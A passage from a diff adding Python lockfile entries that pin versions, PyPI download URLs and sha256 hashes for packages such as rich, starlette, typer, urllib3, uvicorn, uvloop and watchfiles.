"https://files.pythonhosted.org/packages/b3/c6/f3b320c27991c46f43ee9d856302c70dc2d0fb2dba4842ff739d5f46b393/rich-14.3.3.tar.gz", hash = "sha256:b8daa0b9e4eef54dd8cf7c86c03713f53241884e814f4e2f5fb342fe520f639b", size = 230582, upload-time = "2026-02-19T17:23:12.474Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/14/25/b208c5683343959b670dc001595f2f3737e051da617f66c31f7c4fa93abc/rich-14.3.3-py3-none-any.whl", hash = "sha256:793431c1f8619afa7d3b52b2cdec859562b950ea0d4b6b505397612db8d5362d", size = 310458, upload-time = "2026-02-19T17:23:13.732Z" }, +] + +[[package]] +name = "s3transfer" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "botocore" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/05/04/74127fc843314818edfa81b5540e26dd537353b123a4edc563109d8f17dd/s3transfer-0.16.0.tar.gz", hash = "sha256:8e990f13268025792229cd52fa10cb7163744bf56e719e0b9cb925ab79abf920", size = 153827, upload-time = "2025-12-01T02:30:59.114Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fc/51/727abb13f44c1fcf6d145979e1535a35794db0f6e450a0cb46aa24732fe2/s3transfer-0.16.0-py3-none-any.whl", hash = "sha256:18e25d66fed509e3868dc1572b3f427ff947dd2c56f844a5bf09481ad3f3b2fe", size = 86830, upload-time = "2025-12-01T02:30:57.729Z" }, +] + +[[package]] +name = "shellingham" +version = "1.5.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/58/15/8b3609fd3830ef7b27b655beb4b4e9c62313a4e8da8c676e142cc210d58e/shellingham-1.5.4.tar.gz", hash = "sha256:8dbca0739d487e5bd35ab3ca4b36e11c4078f3a234bfce294b0a0291363404de", size = 10310, upload-time = "2023-10-24T04:13:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e0/f9/0595336914c5619e5f28a1fb793285925a8cd4b432c9da0a987836c7f822/shellingham-1.5.4-py2.py3-none-any.whl", hash = "sha256:7ecfff8f2fd72616f7481040475a65b2bf8af90a56c89140852d1120324e8686", size = 9755, upload-time = "2023-10-24T04:13:38.866Z" }, +] + +[[package]] +name = "six" +version = "1.17.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" }, +] + +[[package]] +name = "sortedcontainers" +version = "2.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e8/c4/ba2f8066cceb6f23394729afe52f3bf7adec04bf9ed2c820b39e19299111/sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88", size = 30594, upload-time = "2021-05-16T22:03:42.897Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/32/46/9cb0e58b2deb7f82b84065f37f3bffeb12413f947f9388e4cac22c4621ce/sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0", size = 29575, upload-time = "2021-05-16T22:03:41.177Z" }, +] + +[[package]] +name = "sse-starlette" +version = "3.3.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "starlette" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/26/8c/f9290339ef6d79badbc010f067cd769d6601ec11a57d78569c683fb4dd87/sse_starlette-3.3.4.tar.gz", hash = "sha256:aaf92fc067af8a5427192895ac028e947b484ac01edbc3caf00e7e7137c7bef1", size = 32427, upload-time = "2026-03-29T09:00:23.307Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f8/7f/3de5402f39890ac5660b86bcf5c03f9d855dad5c4ed764866d7b592b46fd/sse_starlette-3.3.4-py3-none-any.whl", hash = "sha256:84bb06e58939a8b38d8341f1bc9792f06c2b53f48c608dd207582b664fc8f3c1", size = 14330, upload-time = "2026-03-29T09:00:21.846Z" }, +] + +[[package]] +name = "starlette" +version = "1.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/81/69/17425771797c36cded50b7fe44e850315d039f28b15901ab44839e70b593/starlette-1.0.0.tar.gz", hash = "sha256:6a4beaf1f81bb472fd19ea9b918b50dc3a77a6f2e190a12954b25e6ed5eea149", size = 2655289, upload-time = "2026-03-22T18:29:46.779Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/c9/584bc9651441b4ba60cc4d557d8a547b5aff901af35bda3a4ee30c819b82/starlette-1.0.0-py3-none-any.whl", hash = "sha256:d3ec55e0bb321692d275455ddfd3df75fff145d009685eb40dc91fc66b03d38b", size = 72651, upload-time = "2026-03-22T18:29:45.111Z" }, +] + +[[package]] +name = "typer" +version = "0.24.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-doc" }, + { name = "click" }, + { name = "rich" }, + { name = "shellingham" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f5/24/cb09efec5cc954f7f9b930bf8279447d24618bb6758d4f6adf2574c41780/typer-0.24.1.tar.gz", hash = "sha256:e39b4732d65fbdcde189ae76cf7cd48aeae72919dea1fdfc16593be016256b45", size = 118613, upload-time = "2026-02-21T16:54:40.609Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4a/91/48db081e7a63bb37284f9fbcefda7c44c277b18b0e13fbc36ea2335b71e6/typer-0.24.1-py3-none-any.whl", hash = "sha256:112c1f0ce578bfb4cab9ffdabc68f031416ebcc216536611ba21f04e9aa84c9e", size = 56085, upload-time = "2026-02-21T16:54:41.616Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "urllib3" +version = "2.6.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c7/24/5f1b3bdffd70275f6661c76461e25f024d5a38a46f04aaca912426a2b1d3/urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed", size = 435556, upload-time = "2026-01-07T16:24:43.925Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/39/08/aaaad47bc4e9dc8c725e68f9d04865dbcb2052843ff09c97b08904852d84/urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4", size = 131584, upload-time = "2026-01-07T16:24:42.685Z" }, +] + +[[package]] +name = "uvicorn" +version = "0.42.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e3/ad/4a96c425be6fb67e0621e62d86c402b4a17ab2be7f7c055d9bd2f638b9e2/uvicorn-0.42.0.tar.gz", hash = "sha256:9b1f190ce15a2dd22e7758651d9b6d12df09a13d51ba5bf4fc33c383a48e1775", size = 85393, upload-time = "2026-03-16T06:19:50.077Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0a/89/f8827ccff89c1586027a105e5630ff6139a64da2515e24dafe860bd9ae4d/uvicorn-0.42.0-py3-none-any.whl", hash = "sha256:96c30f5c7abe6f74ae8900a70e92b85ad6613b745d4879eb9b16ccad15645359", size = 68830, upload-time = "2026-03-16T06:19:48.325Z" }, +] + +[package.optional-dependencies] +standard = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "httptools" }, + { name = "python-dotenv" }, + { name = "pyyaml" }, + { name = "uvloop", marker = "platform_python_implementation != 'PyPy' and sys_platform != 'cygwin' and sys_platform != 'win32'" }, + { name = "watchfiles" }, + { name = "websockets" }, +] + +[[package]] +name = "uvloop" +version = "0.22.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/06/f0/18d39dbd1971d6d62c4629cc7fa67f74821b0dc1f5a77af43719de7936a7/uvloop-0.22.1.tar.gz", hash = "sha256:6c84bae345b9147082b17371e3dd5d42775bddce91f885499017f4607fdaf39f", size = 2443250, upload-time = "2025-10-16T22:17:19.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/d5/69900f7883235562f1f50d8184bb7dd84a2fb61e9ec63f3782546fdbd057/uvloop-0.22.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c60ebcd36f7b240b30788554b6f0782454826a0ed765d8430652621b5de674b9", size = 1352420, upload-time = "2025-10-16T22:16:21.187Z" }, + { url = "https://files.pythonhosted.org/packages/a8/73/c4e271b3bce59724e291465cc936c37758886a4868787da0278b3b56b905/uvloop-0.22.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3b7f102bf3cb1995cfeaee9321105e8f5da76fdb104cdad8986f85461a1b7b77", size = 748677, upload-time = "2025-10-16T22:16:22.558Z" }, + { url = "https://files.pythonhosted.org/packages/86/94/9fb7fad2f824d25f8ecac0d70b94d0d48107ad5ece03769a9c543444f78a/uvloop-0.22.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:53c85520781d84a4b8b230e24a5af5b0778efdb39142b424990ff1ef7c48ba21", size = 3753819, upload-time = "2025-10-16T22:16:23.903Z" }, + { url = "https://files.pythonhosted.org/packages/74/4f/256aca690709e9b008b7108bc85fba619a2bc37c6d80743d18abad16ee09/uvloop-0.22.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:56a2d1fae65fd82197cb8c53c367310b3eabe1bbb9fb5a04d28e3e3520e4f702", size = 3804529, upload-time = "2025-10-16T22:16:25.246Z" }, + { url = "https://files.pythonhosted.org/packages/7f/74/03c05ae4737e871923d21a76fe28b6aad57f5c03b6e6bfcfa5ad616013e4/uvloop-0.22.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:40631b049d5972c6755b06d0bfe8233b1bd9a8a6392d9d1c45c10b6f9e9b2733", size = 3621267, upload-time = "2025-10-16T22:16:26.819Z" }, + { url = "https://files.pythonhosted.org/packages/75/be/f8e590fe61d18b4a92070905497aec4c0e64ae1761498cad09023f3f4b3e/uvloop-0.22.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:535cc37b3a04f6cd2c1ef65fa1d370c9a35b6695df735fcff5427323f2cd5473", size = 3723105, upload-time = "2025-10-16T22:16:28.252Z" }, + { url = "https://files.pythonhosted.org/packages/3d/ff/7f72e8170be527b4977b033239a83a68d5c881cc4775fca255c677f7ac5d/uvloop-0.22.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:fe94b4564e865d968414598eea1a6de60adba0c040ba4ed05ac1300de402cd42", size = 1359936, upload-time = "2025-10-16T22:16:29.436Z" }, + { url = "https://files.pythonhosted.org/packages/c3/c6/e5d433f88fd54d81ef4be58b2b7b0cea13c442454a1db703a1eea0db1a59/uvloop-0.22.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:51eb9bd88391483410daad430813d982010f9c9c89512321f5b60e2cddbdddd6", size = 752769, upload-time = "2025-10-16T22:16:30.493Z" }, + { url = "https://files.pythonhosted.org/packages/24/68/a6ac446820273e71aa762fa21cdcc09861edd3536ff47c5cd3b7afb10eeb/uvloop-0.22.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:700e674a166ca5778255e0e1dc4e9d79ab2acc57b9171b79e65feba7184b3370", size = 4317413, upload-time = "2025-10-16T22:16:31.644Z" }, + { url = "https://files.pythonhosted.org/packages/5f/6f/e62b4dfc7ad6518e7eff2516f680d02a0f6eb62c0c212e152ca708a0085e/uvloop-0.22.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7b5b1ac819a3f946d3b2ee07f09149578ae76066d70b44df3fa990add49a82e4", size = 4426307, upload-time = "2025-10-16T22:16:32.917Z" }, + { url = "https://files.pythonhosted.org/packages/90/60/97362554ac21e20e81bcef1150cb2a7e4ffdaf8ea1e5b2e8bf7a053caa18/uvloop-0.22.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e047cc068570bac9866237739607d1313b9253c3051ad84738cbb095be0537b2", size = 4131970, upload-time = "2025-10-16T22:16:34.015Z" }, + { url = "https://files.pythonhosted.org/packages/99/39/6b3f7d234ba3964c428a6e40006340f53ba37993f46ed6e111c6e9141d18/uvloop-0.22.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:512fec6815e2dd45161054592441ef76c830eddaad55c8aa30952e6fe1ed07c0", size = 4296343, upload-time = "2025-10-16T22:16:35.149Z" }, + { url = "https://files.pythonhosted.org/packages/89/8c/182a2a593195bfd39842ea68ebc084e20c850806117213f5a299dfc513d9/uvloop-0.22.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:561577354eb94200d75aca23fbde86ee11be36b00e52a4eaf8f50fb0c86b7705", size = 1358611, upload-time = "2025-10-16T22:16:36.833Z" }, + { url = "https://files.pythonhosted.org/packages/d2/14/e301ee96a6dc95224b6f1162cd3312f6d1217be3907b79173b06785f2fe7/uvloop-0.22.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:1cdf5192ab3e674ca26da2eada35b288d2fa49fdd0f357a19f0e7c4e7d5077c8", size = 751811, upload-time = "2025-10-16T22:16:38.275Z" }, + { url = "https://files.pythonhosted.org/packages/b7/02/654426ce265ac19e2980bfd9ea6590ca96a56f10c76e63801a2df01c0486/uvloop-0.22.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6e2ea3d6190a2968f4a14a23019d3b16870dd2190cd69c8180f7c632d21de68d", size = 4288562, upload-time = "2025-10-16T22:16:39.375Z" }, + { url = "https://files.pythonhosted.org/packages/15/c0/0be24758891ef825f2065cd5db8741aaddabe3e248ee6acc5e8a80f04005/uvloop-0.22.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0530a5fbad9c9e4ee3f2b33b148c6a64d47bbad8000ea63704fa8260f4cf728e", size = 4366890, upload-time = "2025-10-16T22:16:40.547Z" }, + { url = "https://files.pythonhosted.org/packages/d2/53/8369e5219a5855869bcee5f4d317f6da0e2c669aecf0ef7d371e3d084449/uvloop-0.22.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bc5ef13bbc10b5335792360623cc378d52d7e62c2de64660616478c32cd0598e", size = 4119472, upload-time = "2025-10-16T22:16:41.694Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ba/d69adbe699b768f6b29a5eec7b47dd610bd17a69de51b251126a801369ea/uvloop-0.22.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1f38ec5e3f18c8a10ded09742f7fb8de0108796eb673f30ce7762ce1b8550cad", size = 4239051, upload-time = "2025-10-16T22:16:43.224Z" }, + { url = "https://files.pythonhosted.org/packages/90/cd/b62bdeaa429758aee8de8b00ac0dd26593a9de93d302bff3d21439e9791d/uvloop-0.22.1-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:3879b88423ec7e97cd4eba2a443aa26ed4e59b45e6b76aabf13fe2f27023a142", size = 1362067, upload-time = "2025-10-16T22:16:44.503Z" }, + { url = "https://files.pythonhosted.org/packages/0d/f8/a132124dfda0777e489ca86732e85e69afcd1ff7686647000050ba670689/uvloop-0.22.1-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:4baa86acedf1d62115c1dc6ad1e17134476688f08c6efd8a2ab076e815665c74", size = 752423, upload-time = "2025-10-16T22:16:45.968Z" }, + { url = "https://files.pythonhosted.org/packages/a3/94/94af78c156f88da4b3a733773ad5ba0b164393e357cc4bd0ab2e2677a7d6/uvloop-0.22.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:297c27d8003520596236bdb2335e6b3f649480bd09e00d1e3a99144b691d2a35", size = 4272437, upload-time = "2025-10-16T22:16:47.451Z" }, + { url = "https://files.pythonhosted.org/packages/b5/35/60249e9fd07b32c665192cec7af29e06c7cd96fa1d08b84f012a56a0b38e/uvloop-0.22.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c1955d5a1dd43198244d47664a5858082a3239766a839b2102a269aaff7a4e25", size = 4292101, upload-time = "2025-10-16T22:16:49.318Z" }, + { url = "https://files.pythonhosted.org/packages/02/62/67d382dfcb25d0a98ce73c11ed1a6fba5037a1a1d533dcbb7cab033a2636/uvloop-0.22.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b31dc2fccbd42adc73bc4e7cdbae4fc5086cf378979e53ca5d0301838c5682c6", size = 4114158, upload-time = "2025-10-16T22:16:50.517Z" }, + { url = "https://files.pythonhosted.org/packages/f0/7a/f1171b4a882a5d13c8b7576f348acfe6074d72eaf52cccef752f748d4a9f/uvloop-0.22.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:93f617675b2d03af4e72a5333ef89450dfaa5321303ede6e67ba9c9d26878079", size = 4177360, upload-time = "2025-10-16T22:16:52.646Z" }, + { url = "https://files.pythonhosted.org/packages/79/7b/b01414f31546caf0919da80ad57cbfe24c56b151d12af68cee1b04922ca8/uvloop-0.22.1-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:37554f70528f60cad66945b885eb01f1bb514f132d92b6eeed1c90fd54ed6289", size = 1454790, upload-time = "2025-10-16T22:16:54.355Z" }, + { url = "https://files.pythonhosted.org/packages/d4/31/0bb232318dd838cad3fa8fb0c68c8b40e1145b32025581975e18b11fab40/uvloop-0.22.1-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:b76324e2dc033a0b2f435f33eb88ff9913c156ef78e153fb210e03c13da746b3", size = 796783, upload-time = "2025-10-16T22:16:55.906Z" }, + { url = "https://files.pythonhosted.org/packages/42/38/c9b09f3271a7a723a5de69f8e237ab8e7803183131bc57c890db0b6bb872/uvloop-0.22.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:badb4d8e58ee08dad957002027830d5c3b06aea446a6a3744483c2b3b745345c", size = 4647548, upload-time = "2025-10-16T22:16:57.008Z" }, + { url = "https://files.pythonhosted.org/packages/c1/37/945b4ca0ac27e3dc4952642d4c900edd030b3da6c9634875af6e13ae80e5/uvloop-0.22.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b91328c72635f6f9e0282e4a57da7470c7350ab1c9f48546c0f2866205349d21", size = 4467065, upload-time = "2025-10-16T22:16:58.206Z" }, + { url = "https://files.pythonhosted.org/packages/97/cc/48d232f33d60e2e2e0b42f4e73455b146b76ebe216487e862700457fbf3c/uvloop-0.22.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:daf620c2995d193449393d6c62131b3fbd40a63bf7b307a1527856ace637fe88", size = 4328384, upload-time = "2025-10-16T22:16:59.36Z" }, + { url = "https://files.pythonhosted.org/packages/e4/16/c1fd27e9549f3c4baf1dc9c20c456cd2f822dbf8de9f463824b0c0357e06/uvloop-0.22.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6cde23eeda1a25c75b2e07d39970f3374105d5eafbaab2a4482be82f272d5a5e", size = 4296730, upload-time = "2025-10-16T22:17:00.744Z" }, +] + +[[package]] +name = "watchfiles" +version = "1.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c2/c9/8869df9b2a2d6c59d79220a4db37679e74f807c559ffe5265e08b227a210/watchfiles-1.1.1.tar.gz", hash = "sha256:a173cb5c16c4f40ab19cecf48a534c409f7ea983ab8fed0741304a1c0a31b3f2", size = 94440, upload-time = "2025-10-14T15:06:21.08Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1f/f8/2c5f479fb531ce2f0564eda479faecf253d886b1ab3630a39b7bf7362d46/watchfiles-1.1.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:f57b396167a2565a4e8b5e56a5a1c537571733992b226f4f1197d79e94cf0ae5", size = 406529, upload-time = "2025-10-14T15:04:32.899Z" }, + { url = "https://files.pythonhosted.org/packages/fe/cd/f515660b1f32f65df671ddf6f85bfaca621aee177712874dc30a97397977/watchfiles-1.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:421e29339983e1bebc281fab40d812742268ad057db4aee8c4d2bce0af43b741", size = 394384, upload-time = "2025-10-14T15:04:33.761Z" }, + { url = "https://files.pythonhosted.org/packages/7b/c3/28b7dc99733eab43fca2d10f55c86e03bd6ab11ca31b802abac26b23d161/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6e43d39a741e972bab5d8100b5cdacf69db64e34eb19b6e9af162bccf63c5cc6", size = 448789, upload-time = "2025-10-14T15:04:34.679Z" }, + { url = "https://files.pythonhosted.org/packages/4a/24/33e71113b320030011c8e4316ccca04194bf0cbbaeee207f00cbc7d6b9f5/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f537afb3276d12814082a2e9b242bdcf416c2e8fd9f799a737990a1dbe906e5b", size = 460521, upload-time = "2025-10-14T15:04:35.963Z" }, + { url = "https://files.pythonhosted.org/packages/f4/c3/3c9a55f255aa57b91579ae9e98c88704955fa9dac3e5614fb378291155df/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b2cd9e04277e756a2e2d2543d65d1e2166d6fd4c9b183f8808634fda23f17b14", size = 488722, upload-time = "2025-10-14T15:04:37.091Z" }, + { url = "https://files.pythonhosted.org/packages/49/36/506447b73eb46c120169dc1717fe2eff07c234bb3232a7200b5f5bd816e9/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5f3f58818dc0b07f7d9aa7fe9eb1037aecb9700e63e1f6acfed13e9fef648f5d", size = 596088, upload-time = "2025-10-14T15:04:38.39Z" }, + { url = "https://files.pythonhosted.org/packages/82/ab/5f39e752a9838ec4d52e9b87c1e80f1ee3ccdbe92e183c15b6577ab9de16/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9bb9f66367023ae783551042d31b1d7fd422e8289eedd91f26754a66f44d5cff", size = 472923, upload-time = "2025-10-14T15:04:39.666Z" }, + { url = "https://files.pythonhosted.org/packages/af/b9/a419292f05e302dea372fa7e6fda5178a92998411f8581b9830d28fb9edb/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aebfd0861a83e6c3d1110b78ad54704486555246e542be3e2bb94195eabb2606", size = 456080, upload-time = "2025-10-14T15:04:40.643Z" }, + { url = "https://files.pythonhosted.org/packages/b0/c3/d5932fd62bde1a30c36e10c409dc5d54506726f08cb3e1d8d0ba5e2bc8db/watchfiles-1.1.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:5fac835b4ab3c6487b5dbad78c4b3724e26bcc468e886f8ba8cc4306f68f6701", size = 629432, upload-time = "2025-10-14T15:04:41.789Z" }, + { url = "https://files.pythonhosted.org/packages/f7/77/16bddd9779fafb795f1a94319dc965209c5641db5bf1edbbccace6d1b3c0/watchfiles-1.1.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:399600947b170270e80134ac854e21b3ccdefa11a9529a3decc1327088180f10", size = 623046, upload-time = "2025-10-14T15:04:42.718Z" }, + { url = "https://files.pythonhosted.org/packages/46/ef/f2ecb9a0f342b4bfad13a2787155c6ee7ce792140eac63a34676a2feeef2/watchfiles-1.1.1-cp311-cp311-win32.whl", hash = "sha256:de6da501c883f58ad50db3a32ad397b09ad29865b5f26f64c24d3e3281685849", size = 271473, upload-time = "2025-10-14T15:04:43.624Z" }, + { url = "https://files.pythonhosted.org/packages/94/bc/f42d71125f19731ea435c3948cad148d31a64fccde3867e5ba4edee901f9/watchfiles-1.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:35c53bd62a0b885bf653ebf6b700d1bf05debb78ad9292cf2a942b23513dc4c4", size = 287598, upload-time = "2025-10-14T15:04:44.516Z" }, + { url = "https://files.pythonhosted.org/packages/57/c9/a30f897351f95bbbfb6abcadafbaca711ce1162f4db95fc908c98a9165f3/watchfiles-1.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:57ca5281a8b5e27593cb7d82c2ac927ad88a96ed406aa446f6344e4328208e9e", size = 277210, upload-time = "2025-10-14T15:04:45.883Z" }, + { url = "https://files.pythonhosted.org/packages/74/d5/f039e7e3c639d9b1d09b07ea412a6806d38123f0508e5f9b48a87b0a76cc/watchfiles-1.1.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:8c89f9f2f740a6b7dcc753140dd5e1ab9215966f7a3530d0c0705c83b401bd7d", size = 404745, upload-time = "2025-10-14T15:04:46.731Z" }, + { url = "https://files.pythonhosted.org/packages/a5/96/a881a13aa1349827490dab2d363c8039527060cfcc2c92cc6d13d1b1049e/watchfiles-1.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:bd404be08018c37350f0d6e34676bd1e2889990117a2b90070b3007f172d0610", size = 391769, upload-time = "2025-10-14T15:04:48.003Z" }, + { url = "https://files.pythonhosted.org/packages/4b/5b/d3b460364aeb8da471c1989238ea0e56bec24b6042a68046adf3d9ddb01c/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8526e8f916bb5b9a0a777c8317c23ce65de259422bba5b31325a6fa6029d33af", size = 449374, upload-time = "2025-10-14T15:04:49.179Z" }, + { url = "https://files.pythonhosted.org/packages/b9/44/5769cb62d4ed055cb17417c0a109a92f007114a4e07f30812a73a4efdb11/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2edc3553362b1c38d9f06242416a5d8e9fe235c204a4072e988ce2e5bb1f69f6", size = 459485, upload-time = "2025-10-14T15:04:50.155Z" }, + { url = "https://files.pythonhosted.org/packages/19/0c/286b6301ded2eccd4ffd0041a1b726afda999926cf720aab63adb68a1e36/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:30f7da3fb3f2844259cba4720c3fc7138eb0f7b659c38f3bfa65084c7fc7abce", size = 488813, upload-time = "2025-10-14T15:04:51.059Z" }, + { url = "https://files.pythonhosted.org/packages/c7/2b/8530ed41112dd4a22f4dcfdb5ccf6a1baad1ff6eed8dc5a5f09e7e8c41c7/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f8979280bdafff686ba5e4d8f97840f929a87ed9cdf133cbbd42f7766774d2aa", size = 594816, upload-time = "2025-10-14T15:04:52.031Z" }, + { url = 